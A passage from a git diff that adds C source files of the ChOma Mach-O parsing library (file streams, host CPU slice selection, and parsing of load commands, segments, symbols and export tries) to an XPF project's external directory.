*outBuf) +{ + FileStreamContext *context = stream->context; + lseek(context->fd, context->bufferStart + offset, SEEK_SET); + return read(context->fd, outBuf, size); +} + +static int file_stream_write(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf) +{ + FileStreamContext *context = stream->context; + + // we can't write to non mutable files + if ((stream->flags & MEMORY_STREAM_FLAG_MUTABLE) == 0) return -1; + + // we can't write to files we don't own + if ((stream->flags & MEMORY_STREAM_FLAG_OWNS_DATA) == 0) return -1; + + size_t sizeToExpand = 0; + // only expand when possible + if ((context->bufferStart + offset + size) > context->fileSize) { + if (((stream->flags | MEMORY_STREAM_FLAG_AUTO_EXPAND) == 0) || _file_stream_context_is_trimmed(context)) { + printf("Error: file_stream_write failed, file is not auto expandable.\n"); + return -1; + } + sizeToExpand = (context->bufferStart + offset + size) - context->fileSize; + } + + // this is not supported for now: TODO fill with 0's then append the rest + if (context->bufferStart + offset > context->fileSize) return -1; + + context->fileSize += sizeToExpand; + context->bufferSize += sizeToExpand; + + lseek(context->fd, context->bufferStart + offset, SEEK_SET); + return write(context->fd, inBuf, size); +} + +static int file_stream_get_size(MemoryStream *stream, size_t *sizeOut) +{ + FileStreamContext *context = stream->context; + *sizeOut = context->bufferSize; + return 0; +} + +static MemoryStream *file_stream_softclone(MemoryStream *stream) +{ + FileStreamContext *context = stream->context; + return file_stream_init_from_file_descriptor_nodup(context->fd, context->bufferStart, context->bufferSize, 0); +} + +static MemoryStream *file_stream_hardclone(MemoryStream *stream) +{ + FileStreamContext *context = stream->context; + int thisFlags = 0; + if (stream->flags & MEMORY_STREAM_FLAG_MUTABLE) { + thisFlags |= FILE_STREAM_FLAG_WRITABLE; + } + if (stream->flags & MEMORY_STREAM_FLAG_AUTO_EXPAND) { + thisFlags |= FILE_STREAM_FLAG_AUTO_EXPAND; + } + return file_stream_init_from_file_descriptor(context->fd, context->bufferStart, context->bufferSize, thisFlags); +} + +static int file_stream_trim(MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd) +{ + FileStreamContext *context = stream->context; + if ((int64_t)context->bufferSize - (trimAtStart + trimAtEnd) < 0) { + return -1; + } + + if ((stream->flags & MEMORY_STREAM_FLAG_MUTABLE) && !_file_stream_context_is_trimmed(context)) { + // If this stream is mutable, we want to actually trim the file itself + uint32_t newSize = context->bufferSize - trimAtStart - trimAtEnd; + memory_stream_copy_data(stream, trimAtStart, stream, 0, newSize); + ftruncate(context->fd, newSize); + } + else { + // Else just trim the part of the file that this buffer represents + context->bufferStart += trimAtStart; + context->bufferSize -= (trimAtStart + trimAtEnd); + } + + return 0; +} + +static int file_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd) +{ + FileStreamContext *context = stream->context; + + // Expanding at start is not supported (for now?) + if (expandAtStart != 0) return -1; + + // If this buffer is trimmed, expanding is also not supported + if (_file_stream_context_is_trimmed(context)) return -1; + + lseek(context->fd, 0, SEEK_END); + for (size_t i = expandAtEnd; i < 0; i--) { + char buf = 0; + write(context->fd, &buf, 1); + } + return 0; +} + +static void file_stream_free(MemoryStream *stream) +{ + FileStreamContext *context = stream->context; + if (context) { + if (context->fd > 0) { + if (stream->flags & MEMORY_STREAM_FLAG_OWNS_DATA) { + if (close(context->fd) != 0) { + perror("close"); + } + } + } + free(context); + } +} + +MemoryStream *file_stream_init_from_file_descriptor_nodup(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags) +{ + MemoryStream *stream = malloc(sizeof(MemoryStream)); + if (!stream) return NULL; + memset(stream, 0, sizeof(MemoryStream)); + + struct stat s; + int statRes = fstat(fd, &s); + if (statRes != 0) { + printf("Error: stat returned %d for %d.\n", statRes, fd); + goto fail; + } + + FileStreamContext *context = malloc(sizeof(FileStreamContext)); + context->fd = fd; + context->fileSize = s.st_size; + + context->bufferStart = bufferStart; + if (bufferSize == FILE_STREAM_SIZE_AUTO) { + context->bufferSize = context->fileSize; + } + else { + context->bufferSize = bufferSize; + } + + stream->context = context; + stream->flags = 0; + if (flags & FILE_STREAM_FLAG_WRITABLE) { + stream->flags |= MEMORY_STREAM_FLAG_MUTABLE; + } + if (flags & FILE_STREAM_FLAG_AUTO_EXPAND) { + stream->flags |= MEMORY_STREAM_FLAG_AUTO_EXPAND; + } + + stream->read = file_stream_read; + stream->write = file_stream_write; + stream->getSize = file_stream_get_size; + + stream->trim = file_stream_trim; + stream->expand = file_stream_expand; + + stream->softclone = file_stream_softclone; + stream->hardclone = file_stream_hardclone; + stream->free = file_stream_free; + + return stream; + +fail: + file_stream_free(stream); + return NULL; +} + +MemoryStream *file_stream_init_from_file_descriptor(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags) +{ + MemoryStream *stream = file_stream_init_from_file_descriptor_nodup(dup(fd), bufferStart, bufferSize, flags); + if (stream) { + stream->flags |= MEMORY_STREAM_FLAG_OWNS_DATA; + } + return stream; +} + +MemoryStream *file_stream_init_from_path(const char *path, uint32_t bufferStart, size_t bufferSize, uint32_t flags) +{ + int openFlags = 0; + if (flags & FILE_STREAM_FLAG_WRITABLE) { + openFlags = O_RDWR | O_CREAT; + } + else { + openFlags = O_RDONLY; + } + int fd = open(path, openFlags); + if (fd < 0) { + printf("Failed to open %s: %s\n", path, strerror(errno)); + return NULL; + } + + MemoryStream *stream = file_stream_init_from_file_descriptor_nodup(fd, bufferStart, bufferSize, flags); + if (stream) { + stream->flags |= MEMORY_STREAM_FLAG_OWNS_DATA; + } + return stream; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/FileStream.h b/XPF/external/ChOma/src/FileStream.h new file mode 100644 index 0000000..3cab1ea --- /dev/null +++ b/XPF/external/ChOma/src/FileStream.h @@ -0,0 +1,21 @@ +#ifndef FILE_STREAM_H +#define FILE_STREAM_H + +#include "MemoryStream.h" + +#define FILE_STREAM_SIZE_AUTO 0 +#define FILE_STREAM_FLAG_WRITABLE (1 << 0) +#define FILE_STREAM_FLAG_AUTO_EXPAND (1 << 1) + +typedef struct FileStreamContext { + int fd; + size_t fileSize; + uint32_t bufferStart; + size_t bufferSize; +} FileStreamContext; + +MemoryStream *file_stream_init_from_file_descriptor_nodup(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags); +MemoryStream *file_stream_init_from_file_descriptor(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags); +MemoryStream *file_stream_init_from_path(const char *path, uint32_t bufferStart, size_t bufferSize, uint32_t flags); + +#endif // FILE_STREAM_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/Host.c b/XPF/external/ChOma/src/Host.c new file mode 100644 index 0000000..f0d5c68 --- /dev/null +++ b/XPF/external/ChOma/src/Host.c @@ -0,0 +1,89 @@ +#include "Host.h" + +#include "MachO.h" + +#include +#include +#include +#include +#include + +int host_get_cpu_information(cpu_type_t *cputype, cpu_subtype_t *cpusubtype) +{ + size_t len; + + // Query for cputype + len = sizeof(cputype); + if (sysctlbyname("hw.cputype", cputype, &len, NULL, 0) == -1) { printf("Error: no cputype.\n"); return -1; } + + // Query for cpusubtype + len = sizeof(cpusubtype); + if (sysctlbyname("hw.cpusubtype", cpusubtype, &len, NULL, 0) == -1) { printf("Error: no cpusubtype.\n"); return -1; } + + return 0; +} + +int host_supported_arm64e_abi(void) +{ + struct utsname name; + if (uname(&name) != 0) return -1; + if (strcmp(name.release, "20.0.0") >= 0) { + // iOS 14+, macOS 11+ use new ABI + return 2; + } + else { + // iOS 12-13 use old ABI + return 1; + } +} + +MachO *fat_find_preferred_slice(Fat *fat) +{ + cpu_type_t cputype; + cpu_subtype_t cpusubtype; + if (host_get_cpu_information(&cputype, &cpusubtype) != 0) { return NULL; } + + MachO *preferredMacho = NULL; + + // If you intend on supporting non darwin, implement platform specific logic here using #ifdef's + if (cputype == CPU_TYPE_ARM64) { + if (cpusubtype == CPU_SUBTYPE_ARM64E) { + // If this is an arm64e device, first try to find a new ABI arm64e slice + int supportedArm64eABI = host_supported_arm64e_abi(); + if (supportedArm64eABI != -1) { + if (supportedArm64eABI == 2) { + // Find new ABI slice if host supports it + preferredMacho = fat_find_slice(fat, cputype, (CPU_SUBTYPE_ARM64E | CPU_SUBTYPE_ARM64E_ABI_V2)); + } + if (!preferredMacho) { + // If no new ABI slice is found or the host does not support it, try to find an old ABI arm64e slice + preferredMacho = fat_find_slice(fat, cputype, CPU_SUBTYPE_ARM64E); + if (preferredMacho) { + if (macho_get_filetype(preferredMacho) == MH_EXECUTE && supportedArm64eABI == 2) { + // If this is an old ABI binary trying to run on a new ABI system, discard it + // If it's an old ABI *library* trying to be loaded on a new ABI system, use it + preferredMacho = NULL; + } + } + } + } + } + + if (!preferredMacho) { + // If not arm64e device or no arm64e slice found, try to find regular arm64 slice + + // The Kernel prefers an arm64v8 slice to an arm64 slice, so check that first + // On iOS <14, dyld does not support arm64v8 slices, but that doesn't matter as the Kernel will still try to spawn it + preferredMacho = fat_find_slice(fat, cputype, CPU_SUBTYPE_ARM64_V8); + if (!preferredMacho) { + // If that's not found, finally check for a regular arm64 slice + preferredMacho = fat_find_slice(fat, cputype, CPU_SUBTYPE_ARM64_ALL); + } + } + } + + if (!preferredMacho) { + printf("Error: failed to find a preferred MachO slice that matches the host architecture.\n"); + } + return preferredMacho; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/Host.h b/XPF/external/ChOma/src/Host.h new file mode 100644 index 0000000..5f75d9b --- /dev/null +++ b/XPF/external/ChOma/src/Host.h @@ -0,0 +1,14 @@ +#ifndef HOST_H +#define HOST_H + +#include "Fat.h" + +#define CPU_SUBTYPE_ARM64E_ABI_V2 0x80000000 + +int host_get_cpu_information(cpu_type_t *cputype, cpu_subtype_t *cpusubtype); + +// Retrieve the preferred MachO slice from a Fat +// Preferred slice as in the slice that the kernel would use when loading the file +MachO *fat_find_preferred_slice(Fat *fat); + +#endif // HOST_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/MachO.c b/XPF/external/ChOma/src/MachO.c new file mode 100644 index 0000000..0231740 --- /dev/null +++ b/XPF/external/ChOma/src/MachO.c @@ -0,0 +1,812 @@ +#include "Fat.h" +#include "FileStream.h" +#include "MachO.h" +#include "MachOByteOrder.h" +#include "MachOLoadCommand.h" +#include "MemoryStream.h" + +#include +#include +#include +#include +#include + +int macho_read_at_offset(MachO *macho, uint64_t offset, size_t size, void *outBuf) +{ + if (macho->containingCache) { + // When this MachO is inside the DSC, it will have segments that point to "out of macho" memory + // So, attempt to translate every offset we get + // Problem: Translation doesn't work before the segments have been loaded and loading the segments requires this function + // Solution: Gracefully fall back to memory_stream_read in the case where translation fails + uint64_t vmaddr = 0; + if (macho_translate_fileoff_to_vmaddr(macho, offset, &vmaddr, NULL) == 0) { + return macho_read_at_vmaddr(macho, vmaddr, size, outBuf); + } + } + + return memory_stream_read(macho->stream, offset, size, outBuf); +} + +int macho_read_string_at_offset(MachO *macho, uint64_t offset, char **outString) +{ + if (macho->containingCache) { + // Same as above + uint64_t vmaddr = 0; + if (macho_translate_fileoff_to_vmaddr(macho, offset, &vmaddr, NULL) == 0) { + return macho_read_string_at_vmaddr(macho, vmaddr, outString); + } + } + return memory_stream_read_string(macho->stream, offset, outString); +} + +int macho_read_uleb128_at_offset(MachO *macho, uint64_t offset, uint64_t maxOffset, uint64_t *endOffsetOut, uint64_t *valueOut) +{ + uint64_t result = 0; + int bit = 0; + + uint64_t curOffset = offset; + int r = 0; + + uint8_t v = 0; + do { + macho_read_at_offset(macho, curOffset, sizeof(v), &v); + if (curOffset == maxOffset) { + r = -1; + break; + } + uint64_t slice = v & 0x7f; + + if (bit > 63) { + r = -1; + break; + } + else { + result |= (slice << bit); + bit += 7; + } + + curOffset++; + } + while (v & 0x80); + + if (r == 0) { + if (endOffsetOut) *endOffsetOut = curOffset; + if (valueOut) *valueOut = result; + } + + return r; +} + +int macho_write_at_offset(MachO *macho, uint64_t offset, size_t size, const void *inBuf) +{ + return memory_stream_write(macho->stream, offset, size, inBuf); +} + +MemoryStream *macho_get_stream(MachO *macho) +{ + return macho->stream; +} + +uint32_t macho_get_filetype(MachO *macho) +{ + return macho->machHeader.filetype; +} + +struct mach_header *macho_get_mach_header(MachO *macho) +{ + return &macho->machHeader; +} + +size_t macho_get_mach_header_size(MachO *macho) +{ + return macho->is32Bit ? sizeof(struct mach_header) : sizeof(struct mach_header_64); +} + +DyldSharedCache *macho_get_containing_cache(MachO *macho) +{ + return macho->containingCache; +} + +int macho_translate_fileoff_to_vmaddr(MachO *macho, uint64_t fileoff, uint64_t *vmaddrOut, MachOSegment **segmentOut) +{ + for (uint32_t i = 0; i < macho->segmentCount; i++) { + MachOSegment *segment = macho->segments[i]; + uint64_t segmentStartOff = segment->command.fileoff; + uint64_t segmentEndOff = segment->command.fileoff + segment->command.filesize; + if (fileoff >= segmentStartOff && fileoff < segmentEndOff) { + uint64_t relativeFileoff = fileoff - segmentStartOff; + *vmaddrOut = segment->command.vmaddr + relativeFileoff; + return 0; + } + } + return -1; +} + +int macho_translate_vmaddr_to_fileoff(MachO *macho, uint64_t vmaddr, uint64_t *fileoffOut, MachOSegment **segmentOut) +{ + for (uint32_t i = 0; i < macho->segmentCount; i++) { + MachOSegment *segment = macho->segments[i]; + uint64_t segmentVmAddr = segment->command.vmaddr; + uint64_t segmentVmEnd = segment->command.vmaddr + segment->command.vmsize; + if (vmaddr >= segmentVmAddr && vmaddr < segmentVmEnd) { + uint64_t relativeVmAddr = vmaddr - segmentVmAddr; + *fileoffOut = segment->command.fileoff + relativeVmAddr; + if (segmentOut) *segmentOut = segment; + return 0; + } + } + return -1; +} + +int macho_read_at_vmaddr(MachO *macho, uint64_t vmaddr, size_t size, void *outBuf) +{ + if (macho->containingCache) { + return dsc_read_from_vmaddr(macho->containingCache, vmaddr, size, outBuf); + } + else { + MachOSegment *segment; + uint64_t fileoff = 0; + int r = macho_translate_vmaddr_to_fileoff(macho, vmaddr, &fileoff, &segment); + if (r != 0) return r; + + uint64_t readEnd = vmaddr + size; + if (readEnd >= (segment->command.vmaddr + segment->command.vmsize)) { + // prevent OOB + return -1; + } + + return macho_read_at_offset(macho, fileoff, size, outBuf); + } +} + +int macho_read_string_at_vmaddr(MachO *macho, uint64_t vmaddr, char **outString) +{ + if (macho->containingCache) { + return dsc_read_string_from_vmaddr(macho->containingCache, vmaddr, outString); + } + else { + MachOSegment *segment; + uint64_t fileoff = 0; + int r = macho_translate_vmaddr_to_fileoff(macho, vmaddr, &fileoff, &segment); + if (r != 0) return r; + + if (vmaddr >= (segment->command.vmaddr + segment->command.vmsize)) { + // prevent OOB + return -1; + } + + return macho_read_string_at_offset(macho, fileoff, outString); + } +} + +int macho_write_at_vmaddr(MachO *macho, uint64_t vmaddr, size_t size, const void *inBuf) +{ + MachOSegment *segment; + uint64_t fileoff = 0; + int r = macho_translate_vmaddr_to_fileoff(macho, vmaddr, &fileoff, &segment); + if (r != 0) return r; + + uint64_t readEnd = vmaddr + size; + if (readEnd >= (segment->command.vmaddr + segment->command.vmsize)) { + // prevent OOB + return -1; + } + + return macho_write_at_offset(macho, fileoff, size, inBuf); +} + +int macho_enumerate_load_commands(MachO *macho, void (^enumeratorBlock)(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop)) +{ + if (macho->machHeader.ncmds < 1 || macho->machHeader.ncmds > 1000) { + printf("Error: invalid number of load commands (%d).\n", macho->machHeader.ncmds); + return -1; + } + + // First load command starts after mach header + uint64_t offset = macho_get_mach_header_size(macho); + + for (int j = 0; j < macho->machHeader.ncmds; j++) { + struct load_command loadCommand; + if (macho_read_at_offset(macho, offset, sizeof(loadCommand), &loadCommand) != 0) continue; + LOAD_COMMAND_APPLY_BYTE_ORDER(&loadCommand, LITTLE_TO_HOST_APPLIER); + + if (strcmp(load_command_to_string(loadCommand.cmd), "LC_UNKNOWN") == 0) + { + printf("Ignoring unknown command: 0x%x.\n", loadCommand.cmd); + } + else { + // TODO: Check if cmdsize matches expected size for cmd + uint8_t cmd[loadCommand.cmdsize]; + if (macho_read_at_offset(macho, offset, loadCommand.cmdsize, cmd) != 0) continue; + bool stop = false; + enumeratorBlock(loadCommand, offset, (void *)cmd, &stop); + if (stop) break; + } + offset += loadCommand.cmdsize; + } + return 0; +} + +int macho_enumerate_segments(MachO *macho, void (^enumeratorBlock)(struct segment_command_64 *segment, bool *stop)) +{ + for (uint32_t i = 0; i < macho->segmentCount; i++) { + bool stop = false; + enumeratorBlock(&macho->segments[i]->command, &stop); + if (stop) return 0; + } + return 0; +} + +int macho_enumerate_sections(MachO *macho, void (^enumeratorBlock)(struct section_64 *section, struct segment_command_64 *segment, bool *stop)) +{ + for (uint32_t i = 0; i < macho->segmentCount; i++) { + for (uint32_t k = 0; k < macho->segments[i]->command.nsects; k++) { + bool stop = false; + enumeratorBlock(&macho->segments[i]->sections[k], &macho->segments[i]->command, &stop); + if (stop) return 0; + } + } + return 0; +} + +struct trie_node { + char *string; + uint64_t value; +}; + +int macho_read_trie_node_at_offset(MachO *macho, uint64_t offset, uint64_t maxOffset, uint64_t *endOffsetOut, struct trie_node **trieNodesOut, unsigned *trieNodesCountOut) +{ + if (!trieNodesOut || !trieNodesCountOut) return -1; + + uint8_t trieValue = 0; + macho_read_at_offset(macho, offset, sizeof(trieValue), &trieValue); + offset += sizeof(trieValue); + + if (trieValue != 0) { + *trieNodesOut = NULL; + *trieNodesCountOut = 0; + goto done; + } + + uint8_t numberOfBranches = 0; + macho_read_at_offset(macho, offset, sizeof(numberOfBranches), &numberOfBranches); + offset += sizeof(numberOfBranches); + + *trieNodesCountOut = numberOfBranches; + *trieNodesOut = malloc(sizeof(struct trie_node) * *trieNodesCountOut); + + for (uint8_t i = 0; i < numberOfBranches; i++) { + struct trie_node *node = &(*trieNodesOut)[i]; + macho_read_string_at_offset(macho, offset, &node->string); + offset += strlen(node->string)+1; + macho_read_uleb128_at_offset(macho, offset, maxOffset, &offset, &node->value); + } + +done: + if (endOffsetOut) *endOffsetOut = offset; + return 0; +} + +int macho_enumerate_symbols(MachO *macho, void (^enumeratorBlock)(const char *name, uint8_t type, uint64_t vmaddr, bool *stop)) +{ + bool didScanDSC = false; + + if (macho->containingCache && macho->cacheImage) { + // For stuff inside the DSC we need to use the cache image to also be able to fetch private symbols + // Private symbols are normally replaced with in the LC_SYMTAB of the MachO + didScanDSC = (dsc_image_enumerate_symbols(macho->containingCache, macho->cacheImage, enumeratorBlock) == 0); + } + + __block bool hasSymtab = false; + __block struct symtab_command symtabCommand; + __block bool hasExportsTrie = false; + __block struct linkedit_data_command trieCommand; + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_SYMTAB) { + hasSymtab = true; + memcpy(&symtabCommand, cmd, sizeof(symtabCommand)); + SYMTAB_COMMAND_APPLY_BYTE_ORDER(&symtabCommand, LITTLE_TO_HOST_APPLIER); + } + else if (loadCommand.cmd == LC_DYLD_EXPORTS_TRIE) { + hasExportsTrie = true; + memcpy(&trieCommand, cmd, sizeof(trieCommand)); + LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(&trieCommand, LITTLE_TO_HOST_APPLIER); + } + + if (hasSymtab && hasExportsTrie) *stop = true; + }); + + if (hasSymtab) { + char *strtbl = malloc(symtabCommand.strsize); + if (macho_read_at_offset(macho, symtabCommand.stroff, symtabCommand.strsize, strtbl) != 0) { + free(strtbl); + return -1; + } + + for (int i = 0; i < symtabCommand.nsyms; i++) { + uint64_t n_strx = 0; + uint64_t n_value = 0; + uint8_t n_type = 0; + int r = 0; + + #define _GENERIC_READ_NLIST(nlistType, APPLIER) do { \ + struct nlistType entry; \ + if ((r = macho_read_at_offset(macho, symtabCommand.symoff + (i * sizeof(entry)), sizeof(entry), &entry)) != 0) break; \ + APPLIER(&entry, LITTLE_TO_HOST_APPLIER); \ + n_strx = entry.n_un.n_strx; \ + n_value = entry.n_value; \ + n_type = entry.n_type; \ + } while (0) + + if (macho->is32Bit) { + _GENERIC_READ_NLIST(nlist, NLIST_APPLY_BYTE_ORDER); + } + else { + _GENERIC_READ_NLIST(nlist_64, NLIST_64_APPLY_BYTE_ORDER); + } + + if (r != 0) continue; + + #undef _GENERIC_READ_NLIST + + if (n_strx >= symtabCommand.strsize || n_strx == 0) continue; + + const char *symbolName = &strtbl[n_strx]; + if (symbolName[0] == 0) continue; + + if (didScanDSC) { + /* If we already got the real private symbols from the DSC, omit any censored ones */ + if (!strcmp(symbolName, "")) continue; + } + + bool stopSym = false; + enumeratorBlock(symbolName, n_type, n_value, &stopSym); + if (stopSym) { + break; + } + } + free(strtbl); + } + else if (hasExportsTrie) { + uint64_t trieBegin = trieCommand.dataoff; + uint64_t trieSize = trieCommand.datasize; + uint64_t trieEnd = trieBegin + trieSize; + + uint64_t trieBeginVm = 0; + uint64_t trieEndVm = 0; + macho_translate_fileoff_to_vmaddr(macho, trieBegin, &trieBeginVm, NULL); + macho_translate_fileoff_to_vmaddr(macho, trieEnd, &trieEndVm, NULL); + + uint64_t trieCur = trieBegin; + + struct trie_node *frontier = NULL; + unsigned frontierCount = 0; + macho_read_trie_node_at_offset(macho, trieCur, trieEnd, &trieCur, &frontier, &frontierCount); + for (unsigned i = 0; i < frontierCount; i++) { + struct trie_node *node = &frontier[i]; + + uint64_t offset = trieBegin + node->value; + struct trie_node *children = NULL; + unsigned childrenCount = 0; + macho_read_trie_node_at_offset(macho, offset, trieEnd, &offset, &children, &childrenCount); + if (!childrenCount) { + uint64_t ulebOffset = offset - sizeof(uint8_t); + uint64_t flags = 0; + macho_read_uleb128_at_offset(macho, ulebOffset, trieEnd, &ulebOffset, &flags); + ulebOffset += sizeof(uint8_t); + + uint64_t addrOff = 0; + macho_read_uleb128_at_offset(macho, ulebOffset, trieEnd, &ulebOffset, &addrOff); + + bool stop = false; + enumeratorBlock(node->string, 0, macho_get_base_address(macho) + addrOff, &stop); + if (stop) break; + } + else { + unsigned prevEnd = frontierCount; + frontierCount += childrenCount; + frontier = realloc(frontier, sizeof(struct trie_node) * frontierCount); + node = &frontier[i]; + + for (unsigned k = 0; k < childrenCount; k++) { + frontier[prevEnd + k].string = malloc(strlen(node->string) + strlen(children[k].string) + 1); + strcpy(frontier[prevEnd + k].string, node->string); + strcat(frontier[prevEnd + k].string, children[k].string); + frontier[prevEnd + k].value = children[k].value; + } + + for (unsigned k = 0; k < childrenCount; k++) { + free(children[k].string); + } + free(children); + } + } + + for (unsigned i = 0; i < frontierCount; i++) { + free(frontier[i].string); + } + free(frontier); + } + + return 0; +} + +int macho_enumerate_dependencies(MachO *macho, void (^enumeratorBlock)(const char *dylibPath, uint32_t cmd, struct dylib* dylib, bool *stop)) +{ + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop){ + if (loadCommand.cmd == LC_LOAD_DYLIB || + loadCommand.cmd == LC_LOAD_WEAK_DYLIB || + loadCommand.cmd == LC_REEXPORT_DYLIB || + loadCommand.cmd == LC_LAZY_LOAD_DYLIB || + loadCommand.cmd == LC_LOAD_UPWARD_DYLIB) { + struct dylib_command *dylibCommand = (struct dylib_command *)cmd; + DYLIB_COMMAND_APPLY_BYTE_ORDER(dylibCommand, LITTLE_TO_HOST_APPLIER); + if (dylibCommand->dylib.name.offset >= loadCommand.cmdsize || dylibCommand->dylib.name.offset < sizeof(struct dylib_command)) { + printf("WARNING: Malformed dependency at 0x%llx (Name offset out of bounds)\n", offset); + return; + } + char *dependencyPath = ((char *)cmd + dylibCommand->dylib.name.offset); + size_t dependencyLength = strnlen(dependencyPath, loadCommand.cmdsize - dylibCommand->dylib.name.offset); + if (!dependencyLength) { + printf("WARNING: Malformed dependency at 0x%llx (Name has zero length)\n", offset); + return; + } + if (dependencyPath[dependencyLength] != 0) { + printf("WARNING: Malformed dependency at 0x%llx (Name has non NULL end byte)\n", offset); + return; + } + + bool stopDepdendency = false; + enumeratorBlock(dependencyPath, loadCommand.cmd, &dylibCommand->dylib, &stopDepdendency); + if (stopDepdendency) { + *stop = true; + return; + } + } + }); + return 0; +} + +int macho_enumerate_rpaths(MachO *macho, void (^enumeratorBlock)(const char *rpath, bool *stop)) +{ + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_RPATH) { + struct rpath_command *rpathCommand = (struct rpath_command *)cmd; + RPATH_COMMAND_APPLY_BYTE_ORDER(rpathCommand, LITTLE_TO_HOST_APPLIER); + + if (rpathCommand->path.offset >= loadCommand.cmdsize || rpathCommand->path.offset < sizeof(struct rpath_command)) { + printf("WARNING: Malformed rpath at 0x%llx (Path offset out of bounds)\n", offset); + return; + } + + char *rpath = ((char *)cmd) + rpathCommand->path.offset; + size_t rpathLength = strnlen(rpath, rpathCommand->cmdsize - rpathCommand->path.offset); + if (!rpathLength) { + printf("WARNING: Malformed rpath at 0x%llx (Path has zero length)\n", offset); + return; + } + if (rpath[rpathLength] != 0) { + printf("WARNING: Malformed rpath at 0x%llx (Name has non NULL end byte)\n", offset); + return; + } + + bool stopRpath = false; + enumeratorBlock(rpath, &stopRpath); + if (stopRpath) { + *stop = true; + } + } + }); + return 0; +} + +uint64_t macho_get_base_address(MachO *macho) +{ + if (macho->cachedBase) return macho->cachedBase; + __block int64_t base = UINT64_MAX; + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_SEGMENT_64) { + struct segment_command_64 *segmentCommand = (struct segment_command_64 *)cmd; + SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(segmentCommand, LITTLE_TO_HOST_APPLIER); + if (strncmp(segmentCommand->segname, "__PRELINK", 9) != 0 + && strncmp(segmentCommand->segname, "__PLK", 5) != 0 + && strncmp(segmentCommand->segname, "__PAGEZERO", 10) != 0) { + // PRELINK and PAGEZERO are before the actual base, so we ignore them + if (segmentCommand->vmaddr < base) { + base = segmentCommand->vmaddr; + } + } + } + }); + macho->cachedBase = base; + return macho->cachedBase; +} + +int macho_enumerate_function_starts(MachO *macho, void (^enumeratorBlock)(uint64_t funcAddr, bool *stop)) +{ + __block uint64_t functionStartsDataOff = 0, functionStartsDataSize = 0; + + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stopLC) { + if (loadCommand.cmd == LC_FUNCTION_STARTS) { + struct linkedit_data_command *functionStartsCommand = (struct linkedit_data_command *)cmd; + LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(functionStartsCommand, LITTLE_TO_HOST_APPLIER); + functionStartsDataOff = functionStartsCommand->dataoff; + functionStartsDataSize = functionStartsCommand->datasize; + *stopLC = true; + } + }); + + if (!functionStartsDataOff || !functionStartsDataSize) return -1; + + uint8_t *info = malloc(functionStartsDataSize); + if (macho_read_at_offset(macho, functionStartsDataOff, functionStartsDataSize, info) == 0) { + uint8_t *infoEnd = &info[functionStartsDataSize]; + uint64_t address = macho_get_base_address(macho); + for (uint8_t *p = info; (*p != 0) && (p < infoEnd); ) { + bool stop = false; + uint64_t delta = 0; + uint32_t shift = 0; + bool more = true; + do { + uint8_t byte = *p++; + delta |= ((byte & 0x7F) << shift); + shift += 7; + if (byte < 0x80) { + address += delta; + enumeratorBlock(address, &stop); + more = false; + } + } while (more); + if (stop) break; + } + } + free(info); + + return 0; +} + +int macho_lookup_segment_by_addr(MachO *macho, uint64_t vmaddr, struct segment_command_64 *segmentOut) +{ + __block int r = -1; + macho_enumerate_segments(macho, ^(struct segment_command_64 *segment, bool *stop){ + if (vmaddr >= segment->vmaddr && vmaddr < (segment->vmaddr + segment->vmsize)) { + r = 0; + memcpy(segmentOut, segment, sizeof(struct segment_command_64)); + *stop = true; + } + }); + return r; +} + +int macho_lookup_section_by_addr(MachO *macho, uint64_t vmaddr, struct section_64 *sectionOut) +{ + __block int r = -1; + macho_enumerate_sections(macho, ^(struct section_64 *section, struct segment_command_64 *segment, bool *stop) { + if (vmaddr >= section->addr && vmaddr < (section->addr + section->size)) { + r = 0; + memcpy(sectionOut, section, sizeof(struct section_64)); + *stop = true; + } + }); + return r; +} + +int macho_parse_segments(MachO *macho) +{ + return macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (macho->is32Bit && loadCommand.cmd == LC_SEGMENT) { + macho->segmentCount++; + if (macho->segments == NULL) { macho->segments = malloc(macho->segmentCount * sizeof(MachOSegment*)); } + else { macho->segments = realloc(macho->segments, macho->segmentCount * sizeof(MachOSegment*)); } + + // For simplicity, we convert segment_command's to segment_command_64's + // This allowes all logic to unifily operate on segment_command_64 + + struct segment_command segmentCommand; + memcpy(&segmentCommand, cmd, sizeof(segmentCommand)); + SEGMENT_COMMAND_APPLY_BYTE_ORDER(&segmentCommand, LITTLE_TO_HOST_APPLIER); + + MachOSegment **segment = &macho->segments[macho->segmentCount-1]; + + *segment = malloc(sizeof(MachOSegment) + segmentCommand.nsects * sizeof(struct section_64)); + (*segment)->command = (struct segment_command_64) { + .cmd = segmentCommand.cmd, + .cmdsize = segmentCommand.cmdsize, + .fileoff = segmentCommand.fileoff, + .filesize = segmentCommand.filesize, + .vmaddr = segmentCommand.vmaddr, + .vmsize = segmentCommand.vmsize, + .flags = segmentCommand.flags, + .initprot = segmentCommand.initprot, + .maxprot = segmentCommand.maxprot, + .nsects = segmentCommand.nsects, + }; + memcpy((*segment)->command.segname, segmentCommand.segname, sizeof(segmentCommand.segname)); + + for (uint32_t i = 0; i < macho->segments[macho->segmentCount-1]->command.nsects; i++) { + struct section section; + memcpy(§ion, cmd + sizeof(struct segment_command) + (i * sizeof(struct section)), sizeof(section)); + 